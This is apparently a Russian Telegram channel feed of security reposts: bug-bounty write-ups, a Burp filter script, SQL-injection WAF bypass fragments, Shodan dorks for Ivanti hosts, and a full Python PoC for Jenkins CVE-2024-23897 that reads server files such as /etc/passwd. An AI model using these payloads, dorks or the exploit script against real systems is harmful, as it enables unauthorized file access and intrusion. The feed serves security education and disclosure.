Forwarded from вольтаж
На новогодних праздниках, вместо поедания мандаринов, решил совместно с SidneyJob, провести исследование поведений браузеров при мисконфигурации CORS.
Разобрали как работает SOP и CORS, посмотрели возможные мисконфиги и способы их эксплуатации, провели несколько экспериментов, и даже вспомнили, как работают регулярки.
Мы даже сделали для этого отдельную лабу! В ней ты сможешь создавать свои PoC'и при мисконфигурация CORS'a и сразу же кидать на них ссылки уже в отчёте.
Всё получившееся собрали вместе и выпустили как нашу первую статью на xakep.ru. Приятного чтения!
https://xakep.ru/2024/01/18/cors-cheatsheet/
Please open Telegram to view this post
VIEW IN TELEGRAM
xakep.ru
Курс на мисконфиги. Как поймать проблемный CORS на проде
В этой статье мы расскажем, как работает технология SOP, которая защищает твой браузер от вредоносных скриптов. Разберем основные виды мисконфигов и составим шпаргалки с разными случаями поведения CORS. В конце разберем пример и проверим работоспособность…
🔥13👍1😁1
Forwarded from Что-то на пентестерском
Привет! Теперь я могу выложить статью с помощью которой проскочил на Standoff Hacks. Также команда standoff 365 помогла её отредактировать, за что большое спасибо и теперь я выложил её на хабр
Краткое содержание статьи
Приятного чтения & Happy hacking
ЧТНП | #web
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4😢2
Forwarded from Похек (Sergey Zybnev)
Злоумышленники могут успешно атаковать 98% веб-приложений. И это не просто громкие цифры, а данные из исследования Positive Technologies. Как такое возможно, если есть инструменты и практики типа SAST, DAST и WAF, а разработчики вроде бы нормально кодят?
Давайте я объясню, как устроены опасные атаки, на примере с разработчиком Василием, который работает в интернет-магазине и которому начальство подкидывает разные интересные задачки.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4
Небольшой рассказ о том, как обычное почтовое предложение позволяло злоумышленнику получить доступ к данным других пользователей и раскрыть конфиденциальную личную информацию.
Ссылка на статью
#web #idor #leak
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
Я получил банковское предложение на свою почту и обнаружил IDOR стоимостью 5000$
В октябре 2023 года я открыл банковский счет в надежде обнаружить какие-либо уязвимости. Я уже тестировал эту банковскую программу раньше, однако мне не везло (это очень известный банк, поэтому было очень трудно что-то найти, если не выделять множество часов…
👍17🔥4
Forwarded from Заметки Слонсера (Slonser)
История одной уязвимости в Chrome
Очень простая уязвимость, которую я нашел в Google Chrome. И за которую получил 16000$.
Попытался дать побольше контекста, чтобы увеличить пользу от прочтения материала.
Habr
Twitter
P.S. Лучшей благодарностью, если вам понравился материал - является его распространение.
Очень простая уязвимость, которую я нашел в Google Chrome. И за которую получил 16000$.
Попытался дать побольше контекста, чтобы увеличить пользу от прочтения материала.
Habr
P.S. Лучшей благодарностью, если вам понравился материал - является его распространение.
Хабр
History of one Google Chrome bug
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор не несет ответственности за любой вред,...
🔥19👍4😢1
Forwarded from Похек (Sergey Zybnev)
Jenkins RCE CVE-2024-23897
Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j.
PoC
Использование:
🌚 @poxek
Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j.
PoC
import threading
import http.client
import time
import uuid
import urllib.parse
import sys
if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()
data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())
print(f'REQ: {data_bytes}\n')
def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')
def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)
t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)
t1.start()
time.sleep(0.1)
t2.start()
t1.join()
t2.join()
Использование:
python poc.py http://127.0.0.1:8888/ [/etc/passwd]
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍6
Forwarded from Cybred
Подделка подписей на Github
Перед тем, как что-нибудь закоммитить в репозиторий, git просит пользователя указать имя и email. Если сделать так
Github подхватит почту и будет помечать твои коммиты, как будто их на самом деле сделал Линус, — с его именем, аватаркой и ссылкой на профиль https://github.com/torvalds.
Так может сделать любой, и поэтому существует зеленая надпись "Verified" напротив коммитов, подписанных с помощью GPG.
Если отправить что-нибудь через веб, коммит подпишется от имени
Для этого сырой блоб отправляется на внутренний эндпоинт https://api.github.com/vscs_internal/commit/sign, где его подхватывает
На бэкенде проверяется условие, что строка автора из коммита, полученная с помощью регулярки
Но имя может быть пустым, тогда коммит будет таким
где первая строка — сгенерирована автоматически,
а вторая — фейковая, уже отправленная нами.
Первая не подойдет под регулярку, поэтому будет взята вторая, которую мы контролируем. И так мы можем получить галочку "Verified" на коммит с именем Торвальдса без его подписи, или с любым другим именем.
Автору заплатили $10.000. Баг удалось найти в Codespaces, благодаря реверсу GitHub Enterprise Server Trial VM.
Перед тем, как что-нибудь закоммитить в репозиторий, git просит пользователя указать имя и email. Если сделать так
git config --global user.name "Linus Torvalds"
git config --global user.email "torvalds@linux-foundation.org"
Github подхватит почту и будет помечать твои коммиты, как будто их на самом деле сделал Линус, — с его именем, аватаркой и ссылкой на профиль https://github.com/torvalds.
Так может сделать любой, и поэтому существует зеленая надпись "Verified" напротив коммитов, подписанных с помощью GPG.
Если отправить что-нибудь через веб, коммит подпишется от имени
GitHub <noreply@github.com> и тоже будет считаться верифицированным. Для этого сырой блоб отправляется на внутренний эндпоинт https://api.github.com/vscs_internal/commit/sign, где его подхватывает
gh-gpgsign и возвращает подписанный результат.На бэкенде проверяется условие, что строка автора из коммита, полученная с помощью регулярки
/\Aauthor (.+?) <(.+)>/, должны быть равна имени текущего залогиненного пользователя.Но имя может быть пустым, тогда коммит будет таким
author <583231+octocat@users.noreply.github.com> 1682188800 +0000
author username <user@example.com> 1682188800 +0000
где первая строка — сгенерирована автоматически,
а вторая — фейковая, уже отправленная нами.
Первая не подойдет под регулярку, поэтому будет взята вторая, которую мы контролируем. И так мы можем получить галочку "Verified" на коммит с именем Торвальдса без его подписи, или с любым другим именем.
Автору заплатили $10.000. Баг удалось найти в Codespaces, благодаря реверсу GitHub Enterprise Server Trial VM.
🔥17👍5🤔1
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍4
😒 Apache Tomcat HTTP Request Smuggling (Client- Side Desync)
Недавно была найдена критическая уязвимость в Apache Tomcat, которой был присвоен код CVE-2024-21733.
Уязвимость позволяет злоумышленникам заставить браузер жертвы рассинхронизировать свое соединение с веб-сайтами, размещенными поверх Apache Tomcat, что приводит к контрабанде конфиденциальных данных с сервера и/или клиентских подключений (смотри скрин ниже).
Для получения дополнительной информации об атаках десинхронизации со стороны клиента, можете почитать исследование Джеймса Кеттла.
Ссылка на отчет
#web #cve #poc
Недавно была найдена критическая уязвимость в Apache Tomcat, которой был присвоен код CVE-2024-21733.
Уязвимость позволяет злоумышленникам заставить браузер жертвы рассинхронизировать свое соединение с веб-сайтами, размещенными поверх Apache Tomcat, что приводит к контрабанде конфиденциальных данных с сервера и/или клиентских подключений (смотри скрин ниже).
Для получения дополнительной информации об атаках десинхронизации со стороны клиента, можете почитать исследование Джеймса Кеттла.
Ссылка на отчет
#web #cve #poc
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯8🔥5👍2
Что, если я скажу вам, что многие API используют нестандартные пользовательские HTTP-заголовки для управления бизнес-логикой и поведением?
Одним из простых способов увидеть такие заголовки в Burp, является применение шаблона для Bambdas:
if( !requestResponse.hasResponse() )
{
return false;
}
String[] standardHeaders = {
"accept-patch",
"accept-ranges",
"access-control-allow-credentials",
"access-control-allow-headers",
"access-control-allow-methods",
"access-control-allow-origin",
"access-control-expose-headers",
"access-control-max-age",
"age",
"allow",
"alt-svc",
"cache-control",
"clear-site-data",
"connection",
"content-disposition",
"content-encoding",
"content-language",
"content-length",
"content-location",
"content-range",
"content-security-policy",
"content-transfer-encoding",
"content-type",
"cross-origin-embedder-policy",
"cross-origin-opener-policy",
"cross-origin-resource-policy",
"date",
"delta-base",
"etag",
"expect-ct",
"expires",
"feature-policy",
"host",
"im",
"keep-alive",
"last-modified",
"link",
"location",
"pragma",
"proxy-authenticate",
"public-key-pins",
"referrer-policy",
"retry-after",
"server",
"set-cookie",
"strict-transport-security",
"tk",
"trailer",
"transfer-encoding",
"upgrade",
"vary",
"via",
"warning",
"www-authenticate",
"x-content-type-options",
"x-frame-options",
"x-permitted-cross-domain-policies",
"x-xss-protection"
};
List headersList = Arrays.asList(standardHeaders);
var headers = requestResponse.response().headers();
List unexpectedHeaders = new ArrayList();
for( var header : headers ) {
var headerName = header.name().toLowerCase();
if( !headersList.contains( headerName ) ) {
unexpectedHeaders.add( headerName );
}
}
if( unexpectedHeaders.size() > 0 ) {
requestResponse.annotations().setHighlightColor( HighlightColor.GRAY );
requestResponse.annotations().setNotes(
"Non-standard Headers: " + String.join( ",", unexpectedHeaders )
);
}
else {
// Maybe don't trample on existing Notes in the future??
requestResponse.annotations().setHighlightColor( HighlightColor.NONE );
requestResponse.annotations().setNotes("");
}
return true;
Подробнее про составление этого шаблона и возможности по его кастомизации читайте тут.
А если вы ничего не знаете о фильтрах Bambdas, то рекомендую вам ознакомиться со статьей о написании фильтров Bambda Like a Boss. В ней подробно описано, что это такое, почему вас это должно заинтересовать и как начать с этим работать.
#web #tools #burp
Please open Telegram to view this post
VIEW IN TELEGRAM
👍22😢1
📱 Обход WAF через мобильное приложение
Иногда WAF на вебе не позволяют встраивать полезную нагрузку в запросы, однако вы можете ввести свою полезную нагрузку через приложение для Android или IOS и она может отработать на веб-сайте без какой-либо блокировки.
#web #waf
Иногда WAF на вебе не позволяют встраивать полезную нагрузку в запросы, однако вы можете ввести свою полезную нагрузку через приложение для Android или IOS и она может отработать на веб-сайте без какой-либо блокировки.
#web #waf
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥6
💉 SQLi-Sleeps
Небольшой скрипт для автоматизации поиска Time-Based SQL инъекций в списке url-адресов.
Ссылка на GitHub
#web #sqli
Небольшой скрипт для автоматизации поиска Time-Based SQL инъекций в списке url-адресов.
Ссылка на GitHub
#web #sqli
👍16
Раскрытый сегодня PoC для SSRF в Ivanti Pulse Connect Secure (CVE-2024-21893) является отличным примером того, как с помощью полностью слепой SSRF можно достичь RCE.
Подробнее читайте в блоге по ссылке.
Дорк для Shodan:
http.favicon.hash:-1439222863 html:"welcome.cgi?p=logo"
Ссылка на PoC
Ссылка на шаблон Nuclei
#web #cve #ssrf #rce #dork
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🔥7🤯3
История о том как проблемы с wildcard и несоответствием в нормализации путей между CDN и веб-сервером могут привести к кэширования важных конечных точек.
Ссылка на статью
#web #cache #ato
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
Захват аккаунта ChatGPT - Wildcard Web Cache Deception
Введение История о том как я мог захватить ваш аккаунт в ChatGPT. В прошлом году Nagli обнаружил уязвимость web cache deception в ChatGPT. Ее последствия были критическими, так как она привела к утечке аутентификационных токенов пользователей и, как следствие…
🔥12🤔3👍1
На выходных послушал подкаст с Paul Axe, на счету которого несколько 0day'ев, множество RCE'шек, участия в международных конференциях и CTF'ах и тд… Рекомендую глянуть и вам про его опыт, мотивацию, подход к поиску уязвимостей, багбаунти, CTF и сертификации.
#web #ctf #0day #bb
Please open Telegram to view this post
VIEW IN TELEGRAM
YouTube
Подкаст Just Security by Awillix #3. Путь исследователя.
Путь исследователя на примере Павла Топоркова (Paul Axe) — независимый исследователь, докладчик на международных конференциях, участник одной из сильнейших мировых команд CTF, автор уязвимостей нулевого дня в таких известных продуктах как Siemens, Redis,…
🔥9👍4😁1
Forwarded from Standoff 365
🔥 Positive Technologies запускает багбаунти на 60 млн рублей!
В программу Positive Dream Hunting добавлено второе недопустимое событие — внедрение закладки в код продуктов Positive Technologies.
Вознаграждение получит багхантер (или команда), который сможет разместить условно вредоносную рабочую сборку с потенциально зловредным кодом на внутреннем сервере обновлений gus.ptsecurity.com либо публичных серверах update.ptsecurity.com.
Белым хакерам, которые выполнят один или несколько шагов до потенциальной реализации недопустимого события, будет присуждаться поощрительное вознаграждение. В частности:
• 300–500 тыс. рублей — за преодоление сетевого периметра и закрепление на узле
• 3–5 млн рублей — за внедрение кода в публичный релиз продукта на этапе хранения или тестирования
Все условия программы можно найти на нашем сайте.
Кроме того, Positive Technologies увеличивает вознаграждение за реализацию первого недопустимого события — кражу денег со счетов — до 60 млн рублей. До сих пор выполнить сценарий полностью не смог ни один багхантер.
😏 Испытать свои силы можно здесь: https://bugbounty.standoff365.com/programs/ptsecurity_ns/
В программу Positive Dream Hunting добавлено второе недопустимое событие — внедрение закладки в код продуктов Positive Technologies.
Вознаграждение получит багхантер (или команда), который сможет разместить условно вредоносную рабочую сборку с потенциально зловредным кодом на внутреннем сервере обновлений gus.ptsecurity.com либо публичных серверах update.ptsecurity.com.
Белым хакерам, которые выполнят один или несколько шагов до потенциальной реализации недопустимого события, будет присуждаться поощрительное вознаграждение. В частности:
• 300–500 тыс. рублей — за преодоление сетевого периметра и закрепление на узле
• 3–5 млн рублей — за внедрение кода в публичный релиз продукта на этапе хранения или тестирования
Все условия программы можно найти на нашем сайте.
Кроме того, Positive Technologies увеличивает вознаграждение за реализацию первого недопустимого события — кражу денег со счетов — до 60 млн рублей. До сих пор выполнить сценарий полностью не смог ни один багхантер.
😏 Испытать свои силы можно здесь: https://bugbounty.standoff365.com/programs/ptsecurity_ns/
👍6😢4
💉 Про обход защиты от SQL-инъекций
Часто WAF на сайте душит все попытки провести SQL-инъекцию и не даетнормально воткнуть кавычку и вставить привычный пэйлоад, однако, нехитрыми манипуляциями все же частенько его можно обойти.
Например, добавив управляющие символы , типа
Еще больше примеров, вы можете найти в этом репозитории, где приведены варианты байпасса для различных ситуаций, а также крайне рекомендую этот сайт.
#web #sqli #bypass #waf
Часто WAF на сайте душит все попытки провести SQL-инъекцию и не дает
Например, добавив управляющие символы , типа
%00, %0A и др. или вставив математические операции ('AND'1'=1*1 вместо 'AND'1'='1') или добавив специфичные комментарии типа /*!50000%55nIoN*/ /*!50000%53eLeCt*/ и многое другое.Еще больше примеров, вы можете найти в этом репозитории, где приведены варианты байпасса для различных ситуаций, а также крайне рекомендую этот сайт.
#web #sqli #bypass #waf
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥30👍5
Обнаружена XXE в продуктах Ivanti (CVE-2024-22024), позволяющая неавторизованному злоумышленнику, получить доступ к внутренним ресурсам. Подробнее читайте в блоге.
Дорк для Shodan:
http.favicon.hash:-1439222863 html:"welcome.cgi?p=logo"
Шаблон для Nuclei
PoC на GitHub
#web #cve #dork #xxe
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13😁2